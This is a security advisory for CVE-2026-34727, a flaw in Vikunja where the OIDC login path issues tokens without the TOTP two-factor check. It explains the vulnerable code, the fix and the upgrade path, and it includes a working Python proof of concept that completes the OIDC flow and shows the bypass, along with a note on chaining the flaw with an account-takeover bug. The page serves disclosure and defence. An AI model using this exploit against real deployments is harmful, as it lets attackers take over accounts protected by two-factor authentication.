CVE-2026-34727: Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path
Summary
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
Details
The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:
go return auth.NewUserAuthTokenResponse(u, c, false)
There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:
go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })
When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.
Proof of Concept
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled
python import requests, re, html from urllib.parse import parseqs, urlparse
TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"
verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)
login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")
user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed
Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
Impact
When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.
This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.
Recommended Fix
Add a TOTP check in the OIDC callback before issuing the JWT:
go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)
--- Found and reported by aisafe.io
Other sources
Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-34727?
CVE-2026-34727 has a high severity level due to its potential for bypassing two-factor authentication security.
How do I fix CVE-2026-34727?
To fix CVE-2026-34727, upgrade Vikunja to version 2.3.0 or later to ensure proper TOTP two-factor authentication checks.
What software is affected by CVE-2026-34727?
CVE-2026-34727 affects Vikunja versions up to and including 2.2.2.
What type of vulnerability is CVE-2026-34727?
CVE-2026-34727 is classified as a two-factor authentication bypass vulnerability.
Can CVE-2026-34727 be exploited remotely?
Yes, CVE-2026-34727 can be exploited remotely if the attacker has access to the OIDC login path.